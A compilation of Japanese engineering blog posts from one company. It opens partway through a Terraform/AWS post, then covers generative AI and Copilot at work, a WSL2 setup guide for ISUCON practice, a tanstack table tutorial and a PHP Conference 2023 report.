:"リソース名"の情報 があります。 そのほか、plan/applyの実行時に -target=特定リソース と引数を渡すことで全体ではなく対象を絞ることが可能になります。 example_ec2_instance というリソースのみplanを実行する場合は、 terraform plan -target=module.aws_ec2.example_ec2_instance 複数のリソースにしたい場合は、 -target= を含めスペース区切りで引数を追加すれば可能です。 3. コード リソースごとに必要な設定項目は公式ドキュメントが分かりやすいと思います。 VSCode を使用されている場合は、 拡張機能 に「HashiCorp Terraform」がありますので、そちらをインストールすることで設定項目などの補完もしてくれます。 count 三項演算子 を使用することができ、本番/検証環境で場合分けをすることが可能です。 ただし、多用しすぎると可読性が下がるため、なるべく使わなくていいようにした方が無難だと思います・・・。 以下がcountを用いた 三項演算子 の使い方の一例です。 count = "${var.a == "値" ? "0" : "1"}" 変数aに格納されている値と、条件となる値が一致していない場合に、そのリソースが作成されます。 main.tfで変数 env にstaging以外が格納されている場合に、「application_loadbalancer_public」が作成されます。 module " elb_module " { source = " ../../modules/elb " env = " product " ※省略 } resource " aws_lb " " application_loadbalancer_public " { count = " ${var.env == "staging" ? " 0 " : " 1 " } " name = " application-loadbalancer-public " subnets = [ var.example_subnet1_id, var.example_subnet2_id ] load_balancer_type = " application " internal = false enable_deletion_protection = false desync_mitigation_mode = " defensive " xff_header_processing_mode = " append " idle_timeout = 60 access_logs { bucket = " example-bucket " enabled = true prefix = " AWSLogs " } } しかし、こうして作成したLBに対してリスナーを設定しようとすると、 そのままではエラーとなってしまいます。 LBのARNを参照させる際にインデックスを指定---①してあげる必要があります。 resource " aws_lb_listener " " listener_https " { count = " ${var.env == "staging" ? " 0 " : " 1 " } " load_balancer_arn = aws_lb.alb_from_office [ 0 ] .arn --- ① port = " 443 " protocol = " HTTPS " ssl_policy = " ELBSecurityPolicy-2016-08 " certificate_arn = var.default_certificate_arn tags = {} tags_all = {} default_action { type = " fixed-response " order = 1 fixed_response { content_type = " text/plain " message_body = " Not Found " status_code = " 404 " } } } for_each 同じ構成のリソースが複数必要な場合に有用です。 今回のコード化ではfor_eachを使用していないため、具体的な使用例は割愛させて頂きます。 こちらも公式ドキュメントに詳細があります。 4. コード化を通して コード書くよりも・・・ AWS のリソースを見てコード化していくことは苦ではありませんでしたが、 importでのリソース取り込みが個人的に大変でした。 リソース取り込みにはARNやIDが必要となります。 リソースを一つずつ取り込まなければならず、route53であればレコード毎、LBであればルール毎など細かいリソースもあるため気が遠くなりそうでした。 達成感 コードを書ききってplan実行時のエラーも解消させ、最終的にコードと環境で差分が出ないとなった時の達成感は大きかったです。 今後はTerraformを運用に乗せていき、コードもブラッシュアップしていく必要がありますが一区切りつきました。 最終的なゴールはCI/CDのパイプラインも実装して、インフラ部分を自動化していければと思っています。 5. 終わりに 今年の4月から本格的に AWS に触り始め、Terraform?何それ?状態からスタートした AWS 環境のコード化でした。 最初の ディレクト リ構成に悩んだり、planを実行すると出てくる差分を一つずつ潰すなど、大変なことが多くありました。 ですが、やりきることはできたので次のステップも自信をもって進めていける良い体験にはなったかと思います。 6. 参考 Terraform Registry Terraform | HashiCorp Developer
アバター
はじめに こんにちは、サーバサイドエンジニアの rakusksato です 2023年皆さんにとって1番のトピックは何だったでしょうか? 個人的には生成AIの登場、主に ChatGPT や GitHub Copilot でした。 ラク スでは、生成AIを積極的に業務へ取り入れています。 今回は約1年間、生成AIを業務利用してみて感じたことを 対話型AI と GitHub Copilot についてそれぞれ分けて話していきたいと思います。 はじめに 対話型AI(ChatGPT, Copilot Chat, Microsoft Bing, Google Bardなど) 漠然としたアイデアから具体的なアウトプットを高速に生成できる 壁打ち相手として、質問者の認識外の回答も提供 これらをふまえて、 (1):答えを教えてください 例えば、 ただし、 (2):どんなアプローチがあるか教えてください 結論 GitHub Copilot 例えば、 品質について 例えば、 以下の通り改修 結果 まとめ 対話型AI(ChatGPT, Copilot Chat, Microsoft Bing, Google Bardなど) メリットとして特に感じたのは、 漠然としたア イデア から具体的なアウトプットを高速に生成できる 対話型AIは抽象的な考えやア イデア を具体的な形にする手助けをします。 例えば、アプリケーションの アーキテクチャ 設計、新機能のア イデア 、またはプロジェクトのスコープ定義などについて考える際に、具体的な案を出すことができます。 壁打ち相手として、質問者の認識外の回答も提供 対話型AIはプログラミングや設計の際に疑問や問題に直面したとき、解決策やアプローチを考える助けになります。 この壁打ちプロセスを通じて、ユーザーが自分で考えもしなかったような解決策や視点が提供されることがあります。 このような新しい角度や気づきは、問題解決やア イデア 生成に役立つことがよくあります。 以上のように、対話型AIは多様なニーズに応じて有用な情報や インサイト を提供できるツールです。 これらをふまえて、 以下単純な例ですが、 ChatGPT でイメージをかためる場合の(個人的に思う)悪い例(1)、良い例(2)です。 (1):答えを教えてください この程度であれば一瞬ですね。 簡単!ChatGPT神!と思うには、開発業務の場合では安直かもしれません。 例えば、 以下のような考慮が必要でしょう コンテキストの不足: AIは質問のコンテキストを完全に理解しているわけではありません。そのため、特定の用途や環境において最適な解決策を提供できないことがあるでしょう パフォーマンス: AIが生成したコードは効率的でない場合があります。パフォーマンスを重視する場合は、手動での最適化が必要になるでしょう 責任: 最終的には、生成されたコードをプロダクション環境で使用する責任はユーザーにあります。AIの出力は一つの参考程度に留め、必ず専門家の目で確認することが重要でしょう その他、セキュリティや依存関係など考慮すべきことはありますね。 ただし、 プロトタイプの実装や、業務外のプロジェクトにおいていえば、開発速度の大幅な向上をもたらす可能性があります。 このような環境では、高度なセキュリティやパフォーマンスが必ずしも求められていない場合が多く、AIの即時性と効率性が際立つメリットとなるでしょう。 (2):どんなアプローチがあるか教えてください これは、複数の選択肢の中から適切な選択ができます。 候補に対して質問を投げ返すことで理解を深め、方法を決定後にAIに実装イメージを生成してもらうのが適切でしょう。 実装に限った話ではなく、例えばエラーを解決したい場合、 アーキテクチャ を選定したい場合などにも当てはまるでしょう。 結論 答えではなく、選択肢を提示してもらうよう心がけるのがベターだと思います。 GitHub Copilot AIベースのコード補完ツール、コーディングの作業時間削減や品質の向上が見込め。 以下は copilot chat の調査内容ですが、多くの人がその結果に満足していることがわかります。 github.blog これは、プロンプターがアウトプットの明確なイメージを持っていることが前提で、対するコーディング作業時間の削減が主だと思っています。 例えば、 かなり初歩的な話ですが、「複数要素から一意な要素を特定する」ような実装をアウトプットとする場合 多くは、 stream に対して filter で要素を特定する実装が提案されるでしょう。( java ベースの話になりますが) 確かに copilot はとても頼りになり、シンプルで品質の高いコードを生成してくれるでしょう。 ですが、(前述の対話型AIとかぶりますが)例えば性能面を考慮するとどうでしょうか?要素を特定するのであれば他のアプローチとして HashMap の利用もしばしば検討されます。 これらはデータサイズや頻度、メモリ制約によってプロンプターが適切な選択をする必要があり、 copilot はコーディングの時短にフォーカスして利用すべきだと思います。 品質について 「 copilot を利用することで品質が上がる」ということをよく目にします。 おおむね同意ですが、注意すべき点として copilot は、冗長なコードでも無理なく理解し、空気を読んで冗長なコードから冗長なサジェストを生成してしまうことがあげられるでしょう。 例えば、 以下のようにあえて冗長なコードに対して改修を行うとします。 class Hoge { public Hoge(Integer value1, Integer value2) { this .value1 = value1; this .value2 = value2; } Integer value1; Integer value2; } public List<Hoge> hoge(List<Hoge> list) { if (list == null ) { return new ArrayList<>(); } List<Hoge> a = null ; for ( int i = 0 ; i < list.size(); i++) { var v1 = Objects.isNull(list.get(i).value1) ? 0 : list.get(i).value1; var v2 = Objects.isNull(list.get(i).value2) ? 0 : list.get(i).value2; if (v1 > 0 ) { if (a == null ) { a = new ArrayList<>(); } else { a.add( new Hoge(list.get(i).value1, list.get(i).value2)); } } else if (v2 > 0 ) { if (a == null ) { a = new ArrayList<>(); } else { a.add( new Hoge(list.get(i).value1, list.get(i).value2)); } } } if (a != null ) { return a; } else { return new ArrayList<>(); } } 以下の通り改修 1. Hoge クラスに value3, 4 を追加 2. value3, 4 の値が 0 より多きい場合は、 Hoge をリストに追加 結果 完璧に要件を満たしてはいますが、空気を読んでしまい冗長なコードを生成してしまいます。 確かに copilot は優秀ですが、元が悪ければ必ずしも高品質なコードが生成されるわけではありません。 だらだらと書いてしまいましたが、 copilot ( 副操縦士 )というくらいですから、プロンプターは主操縦士として適切な判断力をもって利用していきましょうということですね。 まとめ 一部否定的に感じられてしまう内容もあったかと思いますが、否定的とか全くそういった感情はありません。 自身でも積極的に業務で利用しており、なかった時代には戻れないというほど恩恵を感じています。 本投稿で言いたかったのは、 生成されたコードにも責任をもちましょう! エンジニアとして適切な判断をしていきましょう! ということでした。 AI様、これからもよろしくお願いします。
アバター
こんにちは、あるいはこんばんは。だいたいサーバサイドのエンジニアの( @taclose )です☆ もうあと1か月で ISUCON13 ですね!お祭りですね! という事で、今日は Windows 上でISUCONの環境を構築して、是非練習してもらえたらなと記事を書きました! これを参考にしながら是非、みなさんもトライしてみてください! 読者ターゲット 前書き 手順1:Docker Composeを使えるようにする(Rancher Desktopのインストール) 手順2:WSL2(Ubuntu 22.04)を準備する 手順3:WSL2上でdockerのプロセス操作が出来るようにする IntegrationsにUbuntuが表示されない方 手順4:Ubuntuのセットアップ 手順5:ISUCON11の環境構築 ISUCON11をforkする ISUCON11のclone~起動まで ISUCON11を触ってみる localhostが解決出来ないって人! 最後に 参考記事等 読者ターゲット ISUCONをDocker使って練習したい! dockerとかなんとなくはわかるよ! 前書き 「WSL上でISUCON環境構築」「 Mac 上で~」という記事はちらほら見かけるのですが、WSL2上に環境構築となると罠がちらほらあるものです。 なので、自分がつまづいたポイントとかを挟みながら説明していこうと思います。 各手順は 何も準備されていない前提 で書いています。「それは準備出来てるぜ!」という項目は飛ばして進めちゃってくださいね。 尚、今回は ISUCON11の本番問題 をインストールする手順ですが、基本的にはgitから落とすproject次第で手順はほぼ変わりません。 手順1:Docker Composeを使えるようにする(Rancher Desktopのインストール) 以下の Rancher Desktop を Windows にインストールしてください。 rancherdesktop.io 特段詰まるポイントはないかと思いますが、 WindowsでRancher Desktopを使うには - とことんDevOps | 日本仮想化技術のDevOps技術情報メディア とかを参考にしながら進めてもらえればと思います。 手順2:WSL2( Ubuntu 22.04)を準備する PowerShell 上で以下のコマンドを実行する事で Ubuntu -22.04のWSLが準備されます。 # WSL2を標準とする > wsl --set-default-version 2 # Ubuntu-22.04をインストールする > wsl --install -d Ubuntu-22.04 # インストールが終わったらログインしてみる > wsl ~ -d Ubuntu 手順3:WSL2上でdockerのプロセス操作が出来るようにする 以下はRancher Desktopの設定画面です。WSLメニューのIntegrationsタブに、 Ubuntu があるはずなのでチェックを入れましょう。 WSL2上でdocker操作が出来るようにする Integrationsに Ubuntu が表示されない方 もし表示されない方は、インストールされているWSLがWSL2じゃない可能性が高いです。 WSL2をブログ記事の通りにインストールし直すか、 WSL1 から WSL2への移行 #WSL - Qiita これらを参考にしながらWSL2に移行してください。 手順4: Ubuntu のセットアップ ISUCON環境構築するにあたり、必要なライブラリがいくつかありますので、以下のコマンドを WSL2(Ubuntu)上 で実行してください。 # 時刻ずれてるとapt失敗する事があるので、念のため時刻調整 $ sudo hwclock --hctosys # apt最新化しておく $ sudo apt-get update -y # isuconのdocker buildやbenchmarkerのbuildに使ってます $ sudo apt install make # benchmarkerのbuildに使います $ sudo apt install -y golang-go # docker buildで必要となるもの $ sudo apt install gnupg2 pass $ sudo apt-get install -y libsecret-1-0 $ sudo apt-get install dbus-x11 手順5:ISUCON11の環境構築 いよいよですね!ISUCON11の環境構築や、当日のレギュレーションなどがまとめられた リポジトリ はこちらです。 github.com これを直接落としてきても良いのですが、実際に行った改修の管理とかするためにもforkする事をお勧めします。 ISUCON11をforkする 以下の画像のボタンを押下する事で自分の リポジトリ としてforkする事ができます。 自由にcommitできるので、練習が捗りそうですね! github からISUCON11をforkする ISUCON11のclone~起動まで 以下のコマンドをWSL2( Ubuntu )上の作業 ディレクト リで行ってください。 # forkしてない場合はこうですが、forkしてる場合は書き換えてくださいね。 # リポジトリをcloneしてくる $ git clone git@github.com:isucon/isucon11-final.git # docker-composeを使って環境を構築する # ※ちなみにMakefileを見てもらえれば、言語をGo以外にするコマンドとかわかります。 # 結構時間かかります。落としたい時はmake down。再起動したいなら make down; make upでOK $ cd isucon11-final/dev/ $ make up & # git clone行ったdirから見た移動です。 $ cd isucon11-final/benchmarker $ make ISUCON11を触ってみる http://localhost:8080 にアクセスしてもらうとブラウザ上で実行出来ている事が確認できます。 また、以下のコマンドでBenchmarkerを走らせられます。 # benchmarker走らせてみる $ ./isucon11-final/benchmarker/bin/benchmarker -target localhost:8080 localhost が解決出来ないって人! 試しに curl コマンドで試してもらって以下のような状況になる日とはWSLから Windows への通信が出来ていない事となります。 # Ubuntu上で以下が出ちゃう人 $ curl -X GET localhost:8080 curl: (7) Failed to connect to localhost port 8080 after 0 ms: Connection refused 原因としては色々ありますが、Rancher Desktopを使ってる方の場合、以下の設定を確認してください。 ここでこんな不具合の人少ないのかな... 的はずれな記事ばかりに行き当たってしまい苦労しましたOrz 私は過去に何かで通信うまくいかないので困惑した時に、これをチェックしてしまっていたのが原因だったようです。 最後に 環境構築終わりましたか!?ここからが始まりですからね! この環境なら AWS の利用料金とか気にせずに好きな時にISUCONの練習できるのがうれしいですよね! 自宅の Mac でも試してみたんですが、ほぼ同じ手順で環境構築問題なかったので皆さんも参考にしてみてください。 ではISUCON本番でお会いしましょう! 参考記事等 GitHub - isucon/isucon11-final: ISUCON11 本選 (ISUCHOLAR) WindowsでRancher Desktopを使うには - とことんDevOps | 日本仮想化技術のDevOps技術情報メディア WSL1 から WSL2への移行 #WSL - Qiita
アバター
はじめに こんにちは。フロントエンド開発課に所属している新卒1年目のm_you_sanと申します。 実務でtanstack tableを使う機会があり、便利に感じたので紹介させていただきます。 目次は以下の通りです。 はじめに tanstack tableとは 使い方 サンプルデータの用意 カラムの定義 テーブルオブジェクトの作成 テーブルの表示 チェックボックスの状態管理 行の削除 まとめ tanstack tableとは tanstack tableとはテーブルを容易に実装できるヘッドレスUIライブラリです。 ヘッドレスなので、UIとロジックを制御する部分を独立させることができ、柔軟にUIを制御することができます。 v7まではreact-tableという名前でしたが、メジャーアップデート後にtanstack tableになり、react以外にvue、solidなどの フレームワーク にも対応しています。 使い方 使い方について、サンプルコードを交えて解説します。 今回はtanstack tableとMUIを使用して、 チェックボックス 付きのテーブルを作成していきます。 tanstack tableを初めて使う初学者の方は、是非、手を動かしながら本記事を読んでいただければと思います。 インストール方法については、公式ドキュメントを参照してください。 MUI   tanstack table サンプルデータの用意 まず初めにテーブルに表示するサンプルデータを用意します。 今回は50個のデータを作成し、tasksの初期値とします。 その後、tasksをpropsとして子のCheckBoxTableに渡します。 App. tsx export type Task = { id: number ; name: string ; isDone: boolean ; } const App: React.FC = () => { const defaultData: Task [] = [ ... Array ( 50 ) .keys () ] .map (( i ) => ( { id: i + 1 , name: `タスク ${ i + 1 } ` , isDone: i % 2 === 0 ? true : false } )); const [ tasks , setTasks ] = useState ( defaultData ); return < CheckBoxTable data = { tasks } / > } カラムの定義 次にCheckBoxTableの中身を作成していきます。 初めにカラムを定義します。 ColumnDefに型情報を設定することで、tableやrowにも型情報が反映されます。 headerは列のヘッダーの表示内容となっており、 カスタム コンポーネント やテキストなどを使用して表示内容をカスタマイズすることができます。 今回はMUIと組み合わせて表示内容をカスタマイズしています。 また、headerにはtableを引数に設定して、tableの API を使用することができます。 cellは列内の各セルの表示内容です。 こちらもheaderと同様に表示内容をカスタマイズできます。 また、cellにはrowを引数に設定することができ、rowの API を使用することができます。 なお、 チェックボックス のハンドラーについてですが、table API とrow API で用意されているので、自分で作成する必要はありません。 CheckBoxTable. tsx type Props = { data: Task [] ; } export const CheckBoxTable: React.FC < Props > = ( { data } ) => { const columns: ColumnDef < Task > [] = [ { id: 'select' , header: ( { table } ) => ( < Checkbox //現在のページの全ての行が選択されているかどうか checked = { table.getIsAllRowsSelected () } //全ての行のチェックボックスを切り替えるために使用するハンドラーを返す onChange = { table.getToggleAllRowsSelectedHandler () } / > ), cell: ( { row } ) => ( < Checkbox //行が選択されているかどうか checked = { row.getIsSelected () }    //未実施の場合は非活性 disabled = { ! row.original.isDone } //チェックボックスを切り替えるために使用するハンドラーを返す onChange = { row.getToggleSelectedHandler () } / > ) } , { id: 'id' , header: 'タスクID' , accessorKey: 'id' } , { id: 'name' , header: 'タスク名' , accessorKey: 'name' } , { id: 'isDone' , header: 'タスクの実施状況' , cell: ( { row } ) => row.original.isDone? '実施済' : '未実施' } ] } テーブルオブジェクトの作成 次にテーブルオブジェクトを作成します。 テーブルオブジェクトの作成には、useReactTableを使用し、テーブルに表示するデータ、カラムを設定します。 getCoreRowModelはテーブルの行モデルを計算して返す関数となっていますが、あまり難しいことは考えずに、getCoreRowModel()を設定してあげれば良いと思います。 なお、data、columns、getCoreRowModelは必須オプションなので、どれか1つ欠けているとエラーが発生します。 CheckBoxTable. tsx const table = useReactTable < Task >( { data , columns , getCoreRowModel: getCoreRowModel () } ) テーブルの表示 次にテーブルを表示させます。 getHeaderGroupはテーブルのヘッダー情報、getCoreRowModelはテーブルの行の情報を返します。 getHeaderGroupで返されるヘッダー情報は、配列になっており、それらをmap関数で展開し、flexRender関数を使用して表示させています。 getCoreRowModelで返される行の情報についても、配列になっており、ヘッダーと同じ方法で表示させています。 CheckBoxTable. tsx return ( < Table > < TableHead > { table.getHeaderGroups () .map (( headerGroup ) => ( < TableRow key = { headerGroup.id } > { headerGroup.headers.map (( header ) => ( < TableCell key = { header.id } > { flexRender ( header.column.columnDef.header , header.getContext ()) } < /TableCell > )) } < /TableRow > )) } < /TableHead > < TableBody > { table.getCoreRowModel () .rows.map (( row ) => ( < TableRow key = { row.id } > { row.getVisibleCells () .map (( cell ) => ( < TableCell key = { cell.id } > { flexRender ( cell.column.columnDef.cell , cell.getContext ()) } < /TableCell > )) } < /TableRow > )) } < /TableBody > < /Table > ) 画面を確認すると、このようにテーブルが表示されているのが分かります。 なお、カラムを定義した際に、cellを使って表示内容を指定していない場合は、accessorKeyが抜けていると上手く表示されません。 { id: 'id' , header: 'タスクID' , // accessorKey: 'id' } , { id: 'name' , header: 'タスク名' , // accessorKey: 'name' } , チェックボックス の状態管理 テーブルの見た目は実装できたので、次に状態管理を追加します。 先程のテーブルオブジェクトにオプションを追加します。 CheckBoxTable. tsx const [ rowSelection , setRowSelection ] = useState ( {} ); //中略 const table = useReactTable < Task >( { data , columns , state: { rowSelection } , onRowSelectionChange: setRowSelection , getCoreRowModel: getCoreRowModel (), //実施済のタスクだけ選択されるように設定 enableRowSelection: ( row ) => row.original.isDone } ) 上記のコードでは、stateに状態管理する値を渡しており、onRowSelectionChangeで チェックボックス が切り替わったときにセッター関数を呼び出して、状態を更新しています。 状態管理しているrowSelectionはエディタなどで確認すると、RowSelectionTableStateとundefinedのユニオン型になっていることが分かります。 RowSelectionTableState型は公式ドキュメントを確認してみると、以下のようになっています。 export type RowSelectionState = Record < string , boolean > export type RowSelectionTableState = { rowSelection: RowSelectionState } つまり、 チェックボックス が切り替わったとき、rowSelectionはstring型のキーとboolean型の value を保持することが考えられます。 実際にrowSelectionの中身をコンソールで見ると、キーは選択されている各行のインデックスで、 value はtrueになっていることが分かります。 また、ここまで度々登場しているrow.originalについても、コンソールで中身を見ていきたいと思います。 row.originalには、tableオブジェクトに設定したデータの情報が入っているのが分かります。 今までの「cell: ({row}) => row.original.isDone? '実施済' : '未実施'」や「enableRowSelection: (row) => row.original.isDone」は、originalにあるisDoneを使って、true、falseを取得していたということです。 行の削除 最後に、選択した行を削除する機能を作成します。 今回作成する削除機能は、選択した行のidとタスクのidが一致するものをfilter関数で除くという簡易的なものになっています。 App. tsx const App: React.FC = () => { const defaultData: Task [] = [ ... Array ( 50 ) .keys () ] .map (( i ) => ( { id: i + 1 , name: `タスク ${ i + 1 } ` , isDone: i % 2 === 0 ? true : false } )); const [ tasks , setTasks ] = useState ( defaultData ); const handleDelete = ( ids: number [] ) => { const updateTasks = tasks.filter (( task ) => ! ids.includes ( task.id )); setTasks ( updateTasks ); } return < CheckBoxTable data = { tasks } onDelete = { handleDelete } / > } checkBoxTableにも変更を加えていきます。 まず、行が選択された状態でなければ、削除ボタンを押せないようにするため、isSelected がfalseの場合、非活性にしています。 そして、削除する際に選択されている行のidが必要なので、table.getSelectedRowModel()で選択されている行の情報を取得し、map関数で行のidを含む配列を作成しています。 作成した配列をonDeleteの引数にし、削除が完了したら、選択状態がリセットされるようにします。 CheckBoxTable. tsx type Props = { data: Task [] ; onDelete: ( ids: number [] ) => void ; } export const CheckBoxTable: React.FC < Props > = ( { data , onDelete } ) => { //中略 //行のどれか1つでも選択されていればtrueを返す const isSelected = table.getIsSomeRowsSelected (); //選択している行のidを配列にする const ids = table.getSelectedRowModel () .rows.map (( row ) => row.original.id ); const handleDelete = () => { onDelete ( ids ); //選択状態をリセット table.resetRowSelection (); } return ( <> < button // 何も選択されていなければ非活性 disabled = { ! isSelected } onClick = { handleDelete } > 削除 < /button > < Table > < TableHead > { table.getHeaderGroups () .map (( headerGroup ) => ( < TableRow key = { headerGroup.id } > { headerGroup.headers.map (( header ) => ( < TableCell key = { header.id } > { flexRender ( header.column.columnDef.header , header.getContext ()) } < /TableCell > )) } < /TableRow > )) } < /TableHead > < TableBody > { table.getCoreRowModel () .rows.map (( row ) => ( < TableRow key = { row.id } > { row.getVisibleCells () .map (( cell ) => ( < TableCell key = { cell.id } > { flexRender ( cell.column.columnDef.cell , cell.getContext ()) } < /TableCell > )) } < /TableRow > )) } < /TableBody > < /Table > < / > ) } 最後に画面で動作を確認してみます。 以下のように、動作していれば実装完了です。 上手く動作しない場合は、以下にコード全体を載せているので、そちらと見比べて、ご確認いただければと思います。 App. tsx export type Task = { id: number ; name: string ; isDone: boolean ; } const App: React.FC = () => { const defaultData: Task [] = [ ... Array ( 50 ) .keys () ] .map (( i ) => ( { id: i + 1 , name: `タスク ${ i + 1 } ` , isDone: i % 2 === 0 ? true : false } )); const [ tasks , setTasks ] = useState ( defaultData ); const handleDelete = ( ids: number [] ) => { const updateTasks = tasks.filter (( task ) => ! ids.includes ( task.id )); setTasks ( updateTasks ); } return < CheckBoxTable data = { tasks } onDelete = { handleDelete } / > } CheckBoxTable. tsx type Props = { data: Task [] ; onDelete: ( ids: number [] ) => void ; } export const CheckBoxTable: React.FC < Props > = ( { data , onDelete } ) => { const [ rowSelection , setRowSelection ] = useState ( {} ); const columns: ColumnDef < Task > [] = [ { id: 'select' , header: ( { table } ) => ( < Checkbox checked = { table.getIsAllRowsSelected () } onChange = { table.getToggleAllRowsSelectedHandler () } / > ), cell: ( { row } ) => ( < Checkbox checked = { row.getIsSelected () } disabled = { ! row.original.isDone } onChange = { row.getToggleSelectedHandler () } / > ) } , { id: 'id' , header: 'タスクID' , accessorKey: 'id' } , { id: 'name' , header: 'タスク名' , accessorKey: 'name' } , { id: 'isDone' , header: 'タスクの実施状況' , cell: ( { row } ) => row.original.isDone? '実施済' : '未実施' } ] const table = useReactTable < Task >( { data , columns , state: { rowSelection } , onRowSelectionChange: setRowSelection , getCoreRowModel: getCoreRowModel (), enableRowSelection: ( row ) => row.original.isDone } ) const isSelected = table.getIsSomeRowsSelected (); const ids = table.getSelectedRowModel () .rows.map (( row ) => row.original.id ); const handleDelete = () => { onDelete ( ids ); table.resetRowSelection (); } return ( <> < button disabled = { ! isSelected } onClick = { handleDelete } > 削除 < /button > < Table > < TableHead > { table.getHeaderGroups () .map (( headerGroup ) => ( < TableRow key = { headerGroup.id } > { headerGroup.headers.map (( header ) => ( < TableCell key = { header.id } > { flexRender ( header.column.columnDef.header , header.getContext ()) } < /TableCell > )) } < /TableRow > )) } < /TableHead > < TableBody > { table.getCoreRowModel () .rows.map (( row ) => ( < TableRow key = { row.id } > { row.getVisibleCells () .map (( cell ) => ( < TableCell key = { cell.id } > { flexRender ( cell.column.columnDef.cell , cell.getContext ()) } < /TableCell > )) } < /TableRow > )) } < /TableBody > < /Table > < / > ) } まとめ tanstack tableについて、サンプルコードを交えて紹介させていただきました。 今回実装した チェックボックス 以外に、ページネーションやソート機能も作成することができるので、詳しく知りたい方は、 公式ドキュメント を見ていただければと思います。 長くなってしまいましたが、本記事をお読みいただきありがとうございました。
アバター
はじめに メールディーラー開発課のyamamuuuです。 2023/10/08(日)に PHP Conference 2023が完全オフラインで開催されました。 PHP Conference Japan 2023 ラク スはシルバースポンサーとして協賛し、エンジニア4名が登壇した他、初のブース出展を行いました。 本ブログではイベントの参加レポートと、 ラク スからの登壇者本人によるレポートに加え、ブースやイベントの様子もお届けします。 もくじ はじめに もくじ 参加レポート 型安全なSQLテンプレートエンジンを構築する Webアプリケーションのパフォーマンス・チューニングの勘所 25分で理解する!Symfonyの魅力とその実践的活用法 PHP8.2から見る、2つの配列 RubyVM を PHP で実装する〜Hello World を出力するまで〜 普段のプロジェクト開発で当たり前すぎてあまり目立たないComposer良いところを褒めに褒めまくるLT readonly class で作る堅牢なアプリケーション スケーラブルサービス――疎結合に成長するシステムに不可欠な要素 ラクスからの登壇セッションのご紹介 PHP略語クイズ ノンフレームワークのレガシープロダクトを、Laravelに"載せる"実装戦略と、その後の世界 既存コードベースにもPHP_CodeSnifferを導入して楽したい! ユニットテスト環境整備~みんながテストを書ける環境へ~ クロージング ラクス初のブース出展 来場者配布物封入の儀 まとめ PHPerのためのコミュニティ PHPTechCafe 参加レポート 型安全な SQL テンプレートエンジンを構築する report by id:hirobex うさみけんた さん ( @tadsan ) による発表です fortee.jp SQLインジェクション 対策の必要性と、うさみさんが作られたテンプレートエンジン TetoSQL の実装についての トーク でした! TetoSQLは OSSとして公開 されているので 実際にコードを見てみると、より SQL テンプレートエンジンへの理解が深まるかも……!? Webアプリケーションのパフォーマンス・チューニングの勘所 report by id:hirobex 曽根 壮大さん ( @soudai1025 ) による発表です fortee.jp いざパフォーマンスを改善したい!と思っても、なにから手を付けていいのか、意外とわからないものです。 そんなとき、なにからはじめるべきなのか、どういう情報を取得すべきか、という話から始まり 実際の情報の見方や改善テクニックをお話しいいただきました。 25分で理解する! Symfony の魅力とその実践的活用法 report by id:Y-Kanoh ( @YKanoh65 ) 角田一平さん( @ippey_s )による発表です speakerdeck.com Simpleであることが特徴の Symfony についてまとめられた発表です。 Symfony は コンポーネント の集まりであり、ユーザが必要な コンポーネント を自分で選んで利用することができる仕組みになっています。また、依存を手軽に注入する仕組みも備わっています。 そのほかにも、充実した CLI ツールや、DataMapper型のORMであるDoctrineが採用されており、融通がきく作りになっているため、素早くアプリを作成し、 疎結合 を維持して拡張をすることができる フレームワーク であると言えます。 発表ではところどころに Symfony の特徴を端的にあらわすキーワードが入っており、スッと頭に入りやすい内容でした。 PHP8.2から見る、2つの配列 report by id:takaram meiheiさん ( @app1e_s ) による発表です。 speakerdeck.com PHP8.2 で新しくなった、配列の内部実装がテーマです。 PHP の配列は、他の言語で言う配列(リスト)と、一般にマップや 連想配列 と呼ばれるものが一緒になった少し特殊なデータ構造です。 その内部実装は、添字が0からの連番になっている場合(リスト)とそれ以外( 連想配列 )とで異なっています。 この2種類の内部実装が、どのようなデータ構造になっているのか、配列の初期化や要素の追加・削除を行ったときに PHP 内部でどんな処理が行われているかが解説されていました。 PHPカンファレンス にありながら、 C言語 を"完全に理解"できる(?)発表でした! RubyVM を PHP で実装する〜 Hello World を出力するまで〜 report by id:takaram めもりーさん ( @m3m0r7 ) による発表です。 speakerdeck.com 新たに Ruby を学ぶにあたって「普通に学ぶのは刺激が足りない。そうだ VM を作ろう!」という、なんともすごい学習方法を取った発表者のめもりーさんから、大きく分けて以下3点の解説がありました。 VM とは何か RubyVM のしくみ RubyVM を PHP でどう実装するか Ruby だけでなく PHP も VM (ZendVM) で動作していますが、その中で何が起こっているのかを考えたことのある人は少ないかもしれません。 普段なかなか知ることのできない、プログラムの処理系の中身を知ることのできる面白い発表でした。 最後にはデモもあり、実際に PHP で Ruby が動く様子を見ることができました。 まだ一部機能しか実装されていないとのことですが、 PHP で Ruby が動くというのはなんだか夢のある話ですね! 普段のプロジェクト開発で当たり前すぎてあまり目立たないComposer良いところを褒めに褒めまくるLT report by id:takaram yamiiさん ( @yamii_qq ) による発表です。 speakerdeck.com 多くの PHPer が普段から当たり前に使っている composer、当たり前すぎて気づかないが実はすごい!ということで、composer のいろんなすごいポイントを挙げてひたすら褒めるLTです。 npm / yarn / pnpm のような選択肢がある JavaScript と違って、 PHP のパッケージマネージャといえばほぼ composer 一択ということもあり、他と比較したり「ここがすごい」と考えたりする機会は意外と少ないものです。 しかし改めて目を向けてみると、こんなによく出来たツール・エコシステムを無料で使える *1 なんて!という気持ちになりますね! readonly class で作る堅牢なアプリケーション report by id:rks_hrkw 河瀨 翔吾さん( @shogogg )による発表です。 speakerdeck.com PHP8.2で追加されたreadonlyクラスについての発表です。 readonlyクラスは全てのプロパティがPHP8.1で追加されたreadonly propertyになるというものです。 readonlyクラスを導入することでオブジェクトをImmutableな状態にすることができます。それにより複雑さを減らし目の前のコードの読み書きに集中できるとのことです。 実際の活用事例やメリットだけでなくデメリットも話されていてreadonlyとは何たるかを知れる発表になっていました。 私もPHP8.2に上げてからはreadonlyをガンガン使っているので、この発表で学んだデメリットなども意識しながら今後も活用していきたいです。 スケーラブルサービス―― 疎結合 に成長するシステムに不可欠な要素 report by id:rks_hrkw 成瀬 允宣さん( @nrslib )による発表です。 speakerdeck.com アプリのスケーラブルをどう実現していくのかに加え、組織としてのスケーラブルについての内容もある、サービス全体のスケーラブルについての発表でした。 普段曖昧に理解しがちなスケールアップ等を具体的なイメージ共に1から説明されていたので、後の説明も頭に入りやすかったです。 1つずつ課題を解決しながら理想のスケーラブルシステムへと向かっていくような内容になっており、なぜイベントソーシングやメッセージブローカなどが存在するかなども理解しながら聞くことが出来ました。 いつかはこういったシステムも実務で触れてみたいですね~ 